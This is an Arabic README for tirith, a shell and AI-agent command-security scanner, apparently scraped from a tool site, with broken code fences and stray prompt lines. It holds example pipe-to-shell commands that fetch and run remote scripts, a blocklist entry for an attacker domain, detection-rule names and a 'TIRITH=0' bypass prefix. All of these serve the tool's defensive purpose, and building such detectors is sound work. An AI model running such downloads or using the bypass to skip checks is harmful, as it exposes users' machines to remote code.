إلى جانب الأوامر الفردية، تقوم عدة مجموعات أوامر بتوسيع البوابة لتشمل سياق التشغيل الخاص بك وحالة محطة العمل. تلك التي تلمس المسار الساخن (hot path) هي اختيارية (علامة سياسة)؛ والباقي يعمل عند الطلب.

**السياق التشغيلي** (`tirith context`، `ssh`، `iac`، `sudo`). قم بتصنيف سياقات السحابة الإنتاجية / Kubernetes ومضيفي SSH مرة واحدة، وسيقوم tirith بتصعيد ما يهم: أمر تخريبي ضد سياق مُصنّف كإنتاجي، SSH إلى مضيف مُصنّف كإنتاجي، تطبيق Terraform / Pulumi / OpenTofu `apply` بدون خطة محفوظة مطابقة، أو تصعيد صلاحيات sudo بدون نافذة جلسة مبررة. التصنيفات موجودة في `~/.config/tirith/context-labels.yaml` و `ssh-host-labels.yaml` (أو ضمن النطاق المخزني تحت `.tirith/`).

**النظافة الصحية لمحطة العمل** (`tirith hygiene`، `persistence`، `aliases`، `env`، `exec`، `path`، `hooks`). امسح بحثاً عن ملفات بيانات اعتماد ذات أذونات فضفاضة ورموز نصية عادية (`~/.ssh`، `~/.aws`، `~/.kube`، `.npmrc`، `.pypirc`)، قارن نقاط الارتكاز الثابتة التي يستخدمها المهاجم (shell rc، `authorized_keys`، crontab، LaunchAgents / وحدات systemd-user، git `core.hooksPath`)، ضع علامة على الأسماء المستعارة التي تحجب الأوامر الحرجة أو تقرأ بيانات الاعتماد، دقق `$PATH` بحثاً عن ترتيب اختطاف، وأبلغ عن مصدر ملف ثنائي (مالك الحزمة، التوقيع الرمزي، ما إذا كان يحجب أمر نظام).

**نطاق الانفجار والعزل** (`tirith preview`، `watch`، `temp-run`، `taint`، `intend`، `baseline`). اعرض تأثير نظام الملفات لأمر تخريبي قبل تنفيذه، قارن ما غيّره الأمر فعلياً بعد ذلك، قم بتشغيل أمر غير موثوق في دليل مؤقت للاستخدام مرة واحدة، وتتبع الملفات التي تم تنزيلها من مصادر خطيرة بحيث يؤدي تنفيذها لاحقاً إلى إثارة اكتشاف. `temp-run` يغير فقط دليل العمل؛ إنه عزل ملفات، وليس صندوق حماية.

## الثقة، التوثيق، والاستجابة للحوادث

- **توثيق الأوامر** (`tirith command-card`) يوقع أمراً معروفاً بأنه جيد باستخدام مفتاح ed25519؛ بطاقة موثوقة لم تعد تطابق الأمر تثير درجة عالية.
- **قائمة أوامر المخزن** (`tirith commands`) هي قائمة مسموح بها `.tirith/commands.yaml` تهدئ ملاحظة الأمر المجهول للأوامر النظيفة وتضيف قائمة `dangerous[]` للرفع فقط (يمكنها تشديد الحكم، ولا تضعفه أبداً).
- **رموز العسل** (`tirith canary`) تزرع رموز كاناري اصطناعية بشكل واضح؛ أي لمسة في أي أمر أو لصق أو إخراج أداة تم فحصها تثير درجة عالية. الكشف هو بحث في مخزن محلي، وليس مطابقة شكل.
- **تدوير الأسرار** (`tirith secret`) يقرأ نتائج بيانات الاعتماد الحديثة من سجل التدقيق الخاص بك ويطبع خطوات التدوير/الإلغاء الخاصة بكل مزود لـ 11 مزوداً. لا يقوم أبداً بتدوير أي شيء بنفسه ولا يقوم بأي اتصالات شبكة.
- **وضع الحادث** (`tirith incident`) يعلن وضعية "تحت الهجوم": يجبر `fail_mode: closed`، يعطل التجاوز `TIRITH=0`، ويرفع قواعد مسح بيانات الاعتماد، فك التشفير والتنفيذ، والملفات الثنائية المشبوهة حتى تتوقف عنه.

## أمان المخرجات، اللصق، والمشاركة

- **دفاع اتجاه المخرجات** (`tirith view`، `tirith output`، `gateway run --filter-output`، `mcp-server --sanitize-tool-output`) يحيد هروب خداع الطرفية في مخرجات الأوامر وأدوات MCP: كتابة الحافظة OSC 2، المطالبات المزيفة، عدم تطابق الارتباط التشعبي OSC 8، والتلاعب بالعنوان/مسح الشاشة. يقوم أيضاً بمسح المخرجات بحثاً عن حقن الموجه (خام ومزيل التعتيم) وإشارات تسرب البيانات. أضف بذوراً مخصصة باستخدام `injection_seeds_custom`، واختر تقليص كتلة MCP تحتوي فقط على حقن إلى تحذير (بدلاً من حظر المخرجات بالكامل) باستخدام `mcp_redact_injection`.
- **التنقيح حسب الجمهور** (`tirith share`، `tirith redact`، `tirith logs`) يزيل الأسرار ومعرفات العملاء/المستأجرين قبل اللصق في مشكلة GitHub، Slack، LLM، أو لصق عام.
- **أصل اللصق** (`tirith paste --with-source`، `tirith browser`). مع تثبيت مضيف التراسل الأصلي لـ Chrome المصاحب، ينسب tirith أمراً ملصوقاً إلى صفحة مصدره ويضع علامة على لصق يختلف مضيف مصدره عن المكان الذي يتم فيه تشغيل الأمر.

---

## التثبيت

### macOS

**Homebrew:**```bash
brew install tirith

حزم لينكس

ديبيان / أوبونتو (.deb):

قم بالتنزيل من إصدارات GitHub، ثم:```bash sudo dpkg -i tirith_*_amd64.deb

root@kitploit:~
**Fedora / RHEL / CentOS 9+ (.rpm):**

تنزيل من [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), ثم:```bash
sudo dnf install ./tirith-*.rpm

Arch Linux (AUR):```bash yay -S tirith

or: paru -S tirith

root@kitploit:~
**Nix:**```bash
nix profile install nixpkgs#tirith              # from nixpkgs
nix profile install github:sheeki03/tirith      # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version

Android (Termux)

يعمل Android/Termux على Bionic libc وليس glibc، لذا لا يمكن تشغيل بناء aarch64-unknown-linux-gnu هناك، فهو يحتاج إلى الرابط الديناميكي لـ glibc. استخدم بدلاً من ذلك بناء musl: tirith-aarch64-unknown-linux-musl.tar.gz مرتبط بشكل ثابت ويعمل على Termux دون الحاجة إلى libc خارجي.```bash

In Termux:

pkg install curl tar

Download the musl build from the latest GitHub release:

curl -fsSL -o tirith.tar.gz
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz tar xzf tirith.tar.gz install -Dm755 tirith "$PREFIX/bin/tirith" tirith --version

root@kitploit:~
ثم قم بتفعيل خطاف shell في `~/.bashrc` (shell الافتراضي في Termux هو bash):```bash
eval "$(tirith init --shell bash)"   # add to ~/.bashrc

[!NOTE] دعم Termux هو بأفضل جهد. يتم بناء قطعة musl واختبارها في CI، ولكن tirith لم يتم اختبارها باستمرار على جهاز Android حقيقي بعد. إذا كان هناك خطأ في إحدى الخطافات تحت Termux، يرجى فتح مشكلة مع إخراج tirith doctor output.

Windows

جميع الميزات الأساسية تعمل على Windows بما في ذلك الاكتشاف والمسح والويبهوكس وإدارة السياسات ورفع التدقيق. تدعم خطافات الصدفة PowerShell. وضع الخفي و tirith setup هما فقط لـ Unix في الوقت الحالي.

Scoop:```powershell scoop bucket add tirith https://github.com/sheeki03/scoop-tirith scoop install tirith

root@kitploit:~
**Chocolatey** (تحت المراجعة، في انتظار الموافقة):```powershell
choco install tirith

متعدد المنصات

npm:```bash npm install -g tirith

root@kitploit:~
**Cargo:**```bash
cargo install tirith

Mise (السجل الرسمي):```bash mise use -g tirith

root@kitploit:~
**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

Docker:```bash docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

root@kitploit:~
### تفعيل

أضف إلى ملف تعريف shell الخاص بك (`.zshrc`, `.bashrc`, أو `config.fish`):```bash
eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish

يستخدم Bash وضع enter عندما يثبت اختبار القدرة الذاتية أنه يعمل مع bash الخاص بك، ويستخدم preexec في الحالات الأخرى. يقوم tirith setup / tirith doctor بتشغيل اختبار القدرة الذاتية؛ ويقرأ خطاف الصدفة حكمه المخبأ عند بدء التشغيل. راجع استكشاف الأخطاء وإصلاحها للحصول على تفاصيل حول الأوضاع واختبار القدرة الذاتية وسلوك الرجوع عبر SSH.

[!WARNING] وضع preexec في Bash يحذر لكنه لا يستطيع المنع في مكانه. اضبط TIRITH_BASH_PREEXEC_ENFORCE=1 للمنع الفعلي عبر shopt -s extdebug. يرفض التعزيز التفعيل عندما تحتوي HISTCONTROL على ignorespace / ignoredups / ignoreboth، أو أي HISTIGNORE مضبوطة، أو set +o history نشطة، فهذه الأمور تجعل المنع غير آمن.

التنفيذ حسب الصدفة

للمنع على مستوى السطر المضمون في bash، قم بتشغيل tirith doctor --simulate-enter، إذا نجح التوصيل، يتم تفعيل وضع enter. حيث لا ينجح، استخدم preexec enforce لـ "يمنع عندما يكون ممكناً؛ ويخبرك بصراحة عندما لا يستطيع."

Nix / Home-Manager: يجب أن يكون tirith في $PATH الخاص بك، تستدعي خطافات الصدفة tirith بالاسم أثناء وقت التشغيل. إضافته إلى initContent وحده لا يكفي.```nix home.packages = [ pkgs.tirith ];

programs.zsh.initContent = '' eval "$(tirith init --shell zsh)" '';

root@kitploit:~
### تحديث tirith والتحقق منه

يمكن لـ tirith التحقق من سلامته الخاصة وتحديث نفسه. كلا الأمرين يصلان إلى الشبكة فقط عند تشغيلهما.```bash
tirith verify-self          # is this binary the genuine, unmodified release?
tirith update               # update to the latest release
tirith version --provenance # version, build info, install method, verification

tirith verify-self يؤكد أن الملف الثنائي الجاري تشغيله هو الملف الأصلي غير المعدل من إصدار رسمي. يقوم بإعادة تنزيل أرشيف الإصدار الخاص بإصدارك وهدفك، ويتحقق منه مقابل ملف checksums.txt الموقع، ويتحقق من توقيع cosign على checksums.txt عندما يكون cosign مثبتًا، ويؤكد أن الملف الثنائي الجاري تشغيله متطابق بايت بايت مع الملف الرسمي. إذا لم يكن التحقق الكامل ممكنًا (بناء محلي للتطوير، لا توجد شبكة، أو تثبيت لا يمكن لـ tirith التعرف عليه)، فإنه يذكر ذلك بصدق بدلاً من الإبلاغ عن "تم التحقق" بشكل خاطئ. في حالة عدم وجود cosign، لا يزال التحقق من المجموع الاختباري قائمًا (يُبلغ عنه كـ verified-checksum-only)؛ قم بتثبيت cosign للتحقق الكامل من التوقيع (verified-signed).

tirith update يدرك وجود مدير الحزم:

  • تثبيتات مدير الحزم (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) لا يتم تعديلها ذاتيًا أبدًا. يقوم tirith بطباعة الأمر الدقيق المطلوب تشغيله بدلاً من ذلك، مثل brew upgrade tirith. التحديث عبر مدير الحزم يحافظ على تناسق قاعدة بياناته.
  • التثبيتات المدارة ذاتيًا (أرشيف install.sh tar، أو ملف ثنائي مستقل) يتم تحديثها في مكانها: يقوم tirith بتنزيل أحدث إصدار، ويتحقق منه، ثم يستبدل الملف الثنائي بشكل ذري، مع الاحتفاظ بالإصدار السابق كملف جانبي باسم tirith.tirith-previous. يتم التحقق من توقيع cosign افتراضيًا: إذا تعذر التحقق منه (عدم وجود cosign، أو أن الإصدار المنشور لم يوقع)، يتم إحباط التحديث. استخدم --allow-unsigned للرجوع إلى التحقق من المجموع الاختباري فقط؛ عدم تطابق المجموع الاختباري يؤدي دائمًا إلى الإحباط بغض النظر. tirith update --rollback يعيد إلى الملف الثنائي السابق؛ --dry-run يعرض ما سيحدث دون تغيير أي شيء.

[!NOTE] نصوص التثبيت (scripts/install.sh و install.ps1 لنظام Windows) تتحقق أيضًا من توقيع cosign للإصدار افتراضيًا وتُجهض إذا كان cosign مفقودًا أو تعذر التحقق من التوقيع. قم بتثبيت cosign أولاً، أو عيّن TIRITH_ALLOW_UNSIGNED=1 للتثبيت مع التحقق من المجموع الاختباري فقط (غير موصى به). عدم تطابق المجموع الاختباري أو التوقيع يؤدي دائمًا إلى الإحباط بغض النظر عن هذا الإلغاء.

تكاملات الصدفة

Oh-My-Zsh:```bash git clone https://github.com/sheeki03/ohmyzsh-tirith
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

Add tirith to plugins in ~/.zshrc:

plugins=(... tirith)

root@kitploit:~
### تكاملات وكلاء الذكاء الاصطناعي

استخدم `tirith setup <tool>` لتكوين أمر واحد:```bash
tirith setup claude-code --with-mcp   # Claude Code + MCP server
tirith setup codex                    # OpenAI Codex
tirith setup copilot-cli              # GitHub Copilot CLI (run from repo root)
tirith setup cursor                   # Cursor
tirith setup gemini-cli --with-mcp    # Gemini CLI + MCP server
tirith setup kiro                     # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli                   # Pi CLI
tirith setup vscode                   # VS Code
tirith setup windsurf                 # Windsurf

للتكوين اليدوي، راجع mcp/clients/ للأدلة الخاصة بكل أداة.

التكامل المستمر/النشر المستمر

GitHub Action مع تحميل SARIF إلى GitHub Security tab:```yaml

  • uses: sheeki03/tirith@v1 with: fail_on: high sarif: true
root@kitploit:~
متوفر أيضًا كـ **خطاف ما قبل الالتزام**: انظر `.pre-commit-hooks.yaml` في هذا المستودع.

يدعم الفحص عوامل التصفية `--include` و `--exclude` و `--profile` (تحميل الملفات الشخصية المسماة من السياسة) و `--ignore` للمسح المستهدف لـ CI.

### توثيق القاعدة```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

الإصلاح، "ما يجب تشغيل بدلاً من ذلك"

يحمل كل اكتشاف إصلاحًا لكل قاعدة: سطر قصير ودقيق "كيفية جعل هذا آمنًا"، يظهر تحت كل اكتشاف (Fix:) وفي --format json. يقوم tirith explain --rule <id> --fix بطباعة هذا الإصلاح بمفرده.

عندما يتم حظر أمر أو التحذير منه، يقوم tirith check --suggest بالإضافة إلى ذلك بطباعة إعادة كتابة أكثر أمانًا وملموسة للأمر الفعلي، ولكن فقط عندما يكون التحويل أكثر أمانًا وصحة بالفعل:```bash tirith check --suggest -- 'curl https://example-cli.dev/i.sh | bash'

→ try: curl -fsSL -o /tmp/tirith-review.sh https://example-cli.dev/i.sh \

&& less /tmp/tirith-review.sh && bash /tmp/tirith-review.sh

root@kitploit:~
إنها تعيد كتابة pipe-to-shell إلى download-review-run، وتتجاهل أعلام TLS غير الآمنة (`-k` / `--insecure` / `--no-check-certificate`)، وتحول `http://` العادي إلى `https://`. بالنسبة للنتائج التي لا تحتوي على إعادة كتابة ميكانيكية آمنة (أسماء مضيفات متجانسة، أهداف استخراج الأرشيف، …) فإنها تذكر ذلك بوضوح وتظهر المعالجة بدلاً من ذلك، ولا تصدر أبدًا اقتراحًا مزيفًا. العلم استشاري: فهو لا يغير الحكم ولا رمز الخروج.

### وضع الخفي (Unix)

عملية خلفية اختيارية للحصول على زمن استجابة أقل من مللي ثانية وإثراء واعي بالشبكة (حل عناوين URL المختصرة، فحوصات قائمة حظر DNS):```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

[!NOTE] وضع Daemon متاح فقط لنظام Unix اليوم.


الأوامر

الأوامر اليومية:

تلك هي مجموعة الأوامر اليومية. يشمل tirith 74 أمرًا إجمالاً، موزعة على 8 مجموعات: المسح والتحليل، الحالة والصحة، الإعداد، السياسة والثقة، حماية الصدفة والنظام (hygiene, persistence, exec, path, context, ssh, sudo, iac)، سلسلة التوريد، تكاملات وكلاء الذكاء الاصطناعي، والطب الشرعي والاستجابة. قم بتشغيل tirith --help للحصول على القائمة المصنفة، أو راجع مرجع الأوامر الكامل. العلامة العامة --quiet (أو TIRITH_QUIET=1) تكتم مخرجات الاستشارات دون إخفاء الأخطاء أو الأحكام أو الإشعارات الأمنية.


مبادئ التصميم

  • الكشف يعمل محليًا: لا تقوم paste و score و diff و why بأي استدعاءات شبكة. يقوم tirith check (بما في ذلك مسار --approval-check الذي تستخدمه خطافات الصدفة) بالتحليل محليًا أيضًا، لكنه يبدأ أولاً تحديث دوري خلفي لقاعدة بيانات التهديدات (انظر أدناه)، لذلك فهو ليس متصلًا بالإنترنت بشكل صارم. يمنع tirith check --offline (أو TIRITH_OFFLINE=1) التحديث ويبقيه محليًا بالكامل.
  • تحديث دوري خلفي لقاعدة بيانات التهديدات: يقوم tirith check وخطافات الصدفة بتشغيل فحص خلفي منفصل وغير مكلف مرة واحدة على الأكثر كل 24 ساعة افتراضيًا (threat_intel.auto_update_hours)، للحفاظ على حداثة قاعدة البيانات الموقعة. لا يعيق الأمر أبدًا. اضبط auto_update_hours: 0 لتعطيله، أو --offline / لمنعه لكل استدعاء. لا يقوم بتشغيله؛ بل يمر مباشرة عبر المحرك المحلي.

الإعدادات

بداية سريعة```bash

tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy

root@kitploit:~
`tirith policy init` يقبل `--template <name>` لسياسة بداية منتقاة:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

كل قالب هو سياسة صالحة للاستخدام ومعلقة جيدًا ويمكنك تعديلها أكثر. في حالة عدم استخدام --template، يقوم tirith policy init بكتابة السياسة الافتراضية الكاملة.

ملف السياسة

Tirith تستخدم ملف سياسة بصيغة YAML. ترتيب الاكتشاف:

  1. .tirith/policy.yaml في الدليل الحالي (يتجه للأعلى حتى جذر المستودع)
  2. `~/.config/tirith/policy.yaml````yaml fail_mode: open # or "closed" for strict environments paranoia: 1 # 1-4: higher = more sensitive strict_warn: false # require explicit acknowledgement for warnings

allowlist:

  • "get.docker.com"
  • "sh.rustup.rs"

blocklist:

  • "evil.example.com"

severity_overrides: docker_untrusted_registry: CRITICAL

scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high

root@kitploit:~
استخدم `allowlist_rules` للقمع المحدد النطاق لقاعدة عندما تثق بمصدر لقاعدة ما ولكنك لا تريد إضافته إلى القائمة المسموح بها عالميًا:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

إدارة الثقة من سطر الأوامر

tirith trust يدير الأنماط الموثوقة دون تحرير سياسة YAML يدويًا. الثقة ضيقة ومنتهية الصلاحية افتراضيًا: ثق بأكثر الأشياء تحديدًا التي تعمل، وتنتهي صلاحية الإدخالات بعد 30 يومًا ما لم تختر الخروج.```bash

Narrowest scope, a specific URL or path is accepted as-is, 30-day TTL.

tirith trust add raw.githubusercontent.com/org/repo/main/get.sh

A whole domain / wildcard / bare TLD is broad, it must be opted into.

tirith trust add get.docker.com --broad --rule curl_pipe_shell

Opt out of the default TTL, and record why the entry exists.

tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"

tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries

root@kitploit:~
يتم تصنيف **النطاق** لكل إدخال على أنه `exact` أو `substring` أو `domain` أو `wildcard` أو `bare-TLD`. النطاق الواسع (`domain` / `wildcard` / `bare-TLD`) يتطلب `--broad`، لذلك فإن السماح الشامل هو دائمًا اختيار متعمد. جميع الأوامر الفرعية تدعم `--format json`. مخازن الثقة التي كتبتها إصدارات أقدم من tirith تستمر في العمل دون تغيير، ويتم التعامل مع الإدخال الذي لا يحتوي على TTL على أنه دائم.

### تجاوزات التصعيد والإجراءات

يتم تتبع التحذيرات لكل جلسة. إذا أطلقت نفس القاعدة بشكل متكرر، يمكن لقواعد التصعيد ترقية التحذير إلى حظر:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

راجع التحذيرات المتراكمة في أي وقت:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing

root@kitploit:~
عند الخروج من الصدفة، تتم طباعة ملخص من سطر واحد إذا تم تسجيل أي تحذيرات أثناء الجلسة.

مزيد من الأمثلة في [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md).

### قواعد الكشف المخصصة

قم بتأليف قواعدك الخاصة في `.tirith/policy.yaml` تحت `custom_rules:`. كل قاعدة إما `pattern:` (regex) أو شجرة مسند دلالي `when:`، بالإضافة إلى `context:` (`exec` أو `paste` أو `file`)، و `severity:`، و `title:`.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

تجمع لغة الـ when: بين all: / any: / not: على مُسندات (predicates) مثل command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation, و file.path_matches. تقرأ مُسندات السمعة قاعدة بيانات التهديدات المحلية الموقَّعة، لذا فإن القاعدة المخصصة لا تُجري أي استدعاء شبكي على المسار الساخن. قم بالتحقق والتشغيل التجريبي قبل الالتزام:```bash tirith rule validate # check every custom rule: shape + context coverage tirith rule test --rule no_internal_pastebin --input "echo hi | bash" tirith rule explain --rule no_internal_pastebin

root@kitploit:~
### المزيد من عناصر التحكم في السياسة

مفاتيح السياسة الأخرى، جميعها بإعدادات افتراضية آمنة (`tirith policy init` يكتب المجموعة المعلقة بالكامل):

- `package_policy:` تعمل الحدود على تحويل إشارات سلسلة التوريد إلى أحكام حظر أو تحذير (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` يطابق مصدر استدعاء الأمر (`{ kind, name }`); تطابق `deny` يفرض حظرًا. `scan.trusted_mcp_servers` و `scan.mcp_allowed_tools` يقبلان خوادم MCP محددة وأدوات لكل خادم.
- حراس اختياريون، معطلون افتراضيًا: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, بالإضافة إلى `iac_require_plan_before_apply`, `sudo_require_reason`, و `allowed_install_domains`.

ملفات `.tirith/policy.yaml` على نطاق المستودع يمكنها فقط التشديد، وليس التخفيف أبدًا: أي سياسة مستودع تحاول توسيع قائمة مسموح بها، أو تقليل خطورة، أو تعطيل حارس يتم إبطالها، و `tirith policy effective` تُظهر أي الحقول تم إسقاطها. فقط السياسات على مستوى المستخدم والمؤسسة (`TIRITH_POLICY_ROOT`) يمكنها تخفيف الإعداد الافتراضي.

### وضع التحذير الصارم

مع `strict_warn: true` (أو `--strict-warn` في واجهة سطر الأوامر)، فإن النتائج متوسطة الخطورة تطالب بالاعتراف الصريح في المحطات التفاعلية بدلاً من التحذير الصامت:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

تستخدم خطافات الصدفة (Shell hooks) رمز الخروج 3 لبروتوكول warn-ack. أما الخطافات القديمة التي لا تعرف رمز الخروج 3 فهي تقع في سلوك الفتح عند الفشل (fail-open).

[!NOTE] رمز الخروج 3 هو مسار بروتوكول خطاف warn-ack، وليس العقد العادي لواجهة سطر الأوامر المباشرة. لا ينبغي للمستدعين غير الخطافيين رؤية رمز الخروج 3 عادةً؛ إذا رأوه، فهذا يشير إلى أن الاعتراف مطلوب.

التجاوز

في الحالة النادرة التي تعرف فيها ما تفعله بالضبط:```bash TIRITH=0 curl -L https://something.xyz | bash

root@kitploit:~
هذا بادئة قياسية لأوامر الصدفة (shell) لكل أمر على حدة؛ المتغير موجود فقط لهذا الأمر الواحد ولا يستمر في جلستك. يمكن للمؤسسات تعطيله بالكامل باستخدام `allow_bypass_env: false` في السياسة.

> [!CAUTION]
> `TIRITH=0` لكل أمر على حدة. لا تقم بتصديره في ملفات تعريف الصدفة أو ملفات dotfiles أو إعدادات CI؛ فالتجاوز الدائم يقضي على نموذج الحماية بأكمله. إذا وجدت نفسك تستخدمه كثيرًا، فقم بإضافة المصدر الموثوق إلى قائمة `allowlist` في ملف السياسة بدلاً من ذلك.

---

## معالجة البيانات

سجل تدقيق محلي بصيغة JSONL في `~/.local/share/tirith/log.jsonl`:
- الطابع الزمني، معرف الجلسة، الإجراء، معرفات القواعد، معاينة الأمر المنقحة
- بيانات الكشف الأولية (`raw_action`, `raw_rule_ids`) محفوظة جنبًا إلى جنب مع الإجراء المُطبَّق لتدقيق التغطية
- حالة التحذير للجلسة في `~/.local/state/tirith/sessions/`
- **لا** أوامر كاملة، متغيرات بيئة، أو محتويات ملفات

التعطيل: `export TIRITH_LOG=0`

---

## الوثائق

- [مرجع الأوامر](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md): كل أمر فرعي، مجمَّع حسب الفئة
- [نموذج التهديد](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md)، ما الذي يدافع عنه tirith وما لا يدافع عنه
- [دليل الاستخدام](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md)، أمثلة على السياسات للإعدادات الشائعة
- [استكشاف الأخطاء وإصلاحها](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md)، مشكلات الصدفة، زمن الاستجابة، الإيجابيات الكاذبة
- [التوافق](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md)، السطح المستقر مقابل السطح التجريبي
- [سياسة الأمان](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md)، الإبلاغ عن الثغرات
- [إلغاء التثبيت](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md)، إزالة نظيفة لكل صدفة ومدير حزم

أدلة الميزات:

- [حوكمة الوكيل](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md) (إسناد مصدر المتصل وقواعد `agent_rules`)
- [مرشح مخرجات MCP](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md) (البوابة وعقد تنقية مخرجات MCP)
- [أنماط الفحص (Doctor)](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md) (كامل مقابل `--quick`، ومخطط لقطة JSON)
- [ملفات تعريف LSP والمحرر](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md) (تشخيصات المحرر المضمّنة)
- [المراسلة الأصلية للمتصفح](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md) (مضيف وامتداد إثبات مصدر الحافظة)
- [إثبات مصدر اللصق](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md) (قاعدة `paste_source_mismatch`)
- [تنسيقات الشرك الوهمي (Canary)](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md) (تنسيقات رموز العسل الاصطناعية)
- [تكامل المحفز (Prompt)](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md) (ربط `tirith prompt-status` في محفز الصدفة الخاص بك)

## الترخيص

**تغطية الأمان الأساسية تُشحن في الشجرة مفتوحة المصدر.** جميع قواعد الكشف البالغ عددها 221 وخادم MCP متوفرة من المصدر. لا يزال المستودع يحتوي على مسارات كود ترخيص وسياسة قديمة، لذا تجنب افتراض أن كل مسار تشغيلي خالٍ من الطبقات بالفعل.

tirith مرخص بموجب ترخيص مزدوج:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL)، مجاني بموجب شروط الحقوق المتروكة (copyleft)
- **تجاري**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL)، إذا كانت التزامات الحقوق المتروكة لـ AGPL لا تناسب حالتك الاستخدامية، اتصل على [email protected] للحصول على ترخيص بديل

إسنادات البيانات من جهات خارجية في [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE).

## تاريخ النجوم

[![Star History Chart](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)](https://star-history.com/#sheeki03/tirith&Date)
تنزيل الأداة
الحادثةالسنةشكل الهجوم
Shai-Hulud npm worm 2025برمجية خبيثة ذاتية الانتشار للحزم؛ سرقت رموز GitHub ومفاتيح AWS من أكثر من 180 حزمة، ونشرت النتائج في مستودعات Shai-Hulud العامة
Slopsquatting 2023 حتى الآنيهاجم المخترقون أسماء الحزم التي تخيلتها نماذج اللغة الكبيرة على npm / PyPI / crates.io؛ وجدت دراسة USENIX 2025 أن 58% من الأسماء المتخيلة تتكرر عبر التشغيلات
أدوات فريق PCP / UNC1069مستمرةعمليات مسح للبيانات الاعتماد بعد الاختراق، تجريف /proc/*/mem، تصعيد صلاحيات Docker
تخريب colors.js / faker.js 2022تخريب ذاتي من قبل مؤلف الحزم واسعة الاستخدام
اختراق event-stream 2018نقل الملكية إلى مهاجم؛ استهدف الحمولة محافظ Bitcoin
الأداةوظيفتها
tirith_check_commandتحليل أوامر الشل للكشف عن الأنابيب إلى الشل، عناوين URL المتجانسة، حقن المتغيرات البيئية
tirith_check_urlتقييم عناوين URL لهجمات التجانس، حيل punycode، عناوين URL المختصرة، عناوين IP الخام
tirith_check_pasteفحص المحتوى الملصق للكشف عن هروب ANSI، تحكمات bidi، أحرف ذات عرض صفري
tirith_scan_fileفحص ملف لمحتوى مخفي، يونيكود غير مرئي، تسميم التكوين
tirith_scan_directoryفحص متكرر مع أولوية ملفات تكوين AI
tirith_verify_mcp_configالتحقق من صحة تكوينات MCP للخوادم غير الآمنة، حقن الشل في الوسائط، أدوات wildcard
tirith_fetch_cloakingكشف الإخفاء من جانب الخادم (محتوى مختلف للبوتات مقابل المتصفحات)
كـ
mcp_settings.json
